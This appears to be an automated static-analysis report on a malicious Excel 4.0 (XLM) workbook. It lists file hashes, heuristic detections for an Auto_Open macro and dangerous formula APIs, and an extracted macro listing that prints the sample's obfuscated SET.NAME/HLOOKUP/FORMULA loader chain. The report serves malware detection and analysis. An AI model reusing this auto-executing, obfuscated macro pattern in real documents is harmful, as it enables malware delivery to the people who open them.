Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce953097f5b4a563…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:53 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 9a8235e153072423ddce6ce751422731 SHA-1: ab7edc1838199b20e386ace07136160c467e25f1 SHA-256: ce953097f5b4a5639abf7ebe6b19752e1a451a9b3c577db4b0cbec1888bcb3fa
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6365 bytes
SHA-256: ede629abc191b0664fa977dc28c36e2932f7ed0a893f49738c7b0c34310dcb31
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NrlQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A191 
' 0018     20 LABEL : Cell Value, String Constant - BtZRf len=0 
' 0018     20 LABEL : Cell Value, String Constant - CSRrq len=0 
' 0018     21 LABEL : Cell Value, String Constant - DCnsLf len=0 
' 0018     20 LABEL : Cell Value, String Constant - dzPhf len=0 
' 0018     20 LABEL : Cell Value, String Constant - gDVAi len=0 
' 0018     24 LABEL : Cell Value, String Constant - gsbAJLiXG len=0 
' 0018     20 LABEL : Cell Value, String Constant - hOfay len=0 
' 0018     25 LABEL : Cell Value, String Constant - HOHLYPesYv len=0 
' 0018     21 LABEL : Cell Value, String Constant - JbldBf len=0 
' 0018     25 LABEL : Cell Value, String Constant - jInfYSaHcm len=0 
' 0018     23 LABEL : Cell Value, String Constant - mBzJHbMF len=0 
' 0018     22 LABEL : Cell Value, String Constant - mDXOLWk len=0 
' 0018     24 LABEL : Cell Value, String Constant - MTHIvlwhi len=0 
' 0018     27 LABEL : Cell Value, String Constant - oWLWToTWqYYZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - POPYygs len=0 
' 0018     21 LABEL : Cell Value, String Constant - PPTwjY len=0 
' 0018     23 LABEL : Cell Value, String Constant - svxCvTFl len=0 
' 0018     23 LABEL : Cell Value, String Constant - ueKxjtHG len=0 
' 0018     22 LABEL : Cell Value, String Constant - YSpbrvH len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZHsajQhOcQM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NrlQ,A95,"SET.NAME("svxCvTFl",VALUE("0"))",""
'  NrlQ,A100,"SET.NAME("jInfYSaHcm",svxCvTFl)",""
'  NrlQ,A103,"SET.NAME("oWLWToTWqYYZ",svxCvTFl)",""
'  NrlQ,A108,"SET.NAME("ueKxjtHG",COUNTA(YSpbrvH))",""
'  NrlQ,A112,"SET.NAME("mBzJHbMF",COUNTA(PPTwjY))",""
'  NrlQ,A114,[],""
'  NrlQ,A117,"SET.NAME("ZHsajQhOcQM","")",""
'  NrlQ,A120,"jInfYSaHcm",""
'  NrlQ,A124,"SET.NAME("gsbAJLiXG",HLOOKUP("*",YSpbrvH,jInfYSaHcm,FALSE))",""
'  NrlQ,A129,"BtZRf",""
'  NrlQ,A131,"SET.NAME("dzPhf",svxCvTFl)",""
'  NrlQ,A134,[],""
'  NrlQ,A139,"dzPhf",""
'  NrlQ,A144,"CSRrq",""
'  NrlQ,A147,"mDXOLWk",""
'  NrlQ,A152,"gDVAi",""
'  NrlQ,A154,"SET.NAME("MTHIvlwhi",VALUE(HLOOKUP("*",PPTwjY,gDVAi,FALSE)))",""
'  NrlQ,A158,"hOfay",""
'  NrlQ,A162,"ZHsajQhOcQM",""
'  NrlQ,A164,"oWLWToTWqYYZ",""
'  NrlQ,A169,NEXT(),""
'  NrlQ,A171,"DCnsLf",""
'  NrlQ,A174,"SET.NAME("f",INT(T(FORMULA(T(ZHsajQhOcQM)&"",""&T(DCnsLf)))))",""
'  NrlQ,A179,"POPYygs",""
'  NrlQ,A183,NEXT(),""
'  NrlQ,A188,RETURN(),""
'  NrlQ,A218,"SET.NAME("HOHLYPesYv",A95)",""
'  NrlQ,A221,"YSpbrvH",""
'  NrlQ,A225,"SET.NAME("PPTwjY",R51C13)",""
'  NrlQ,A227,"SET.NAME("POPYygs",236)",""
'  NrlQ,A231,"SET.NAME("JbldBf",1)",""
'  NrlQ,A235,HOHLYPesYv(),""
'  NrlQ,A236,HALT(),""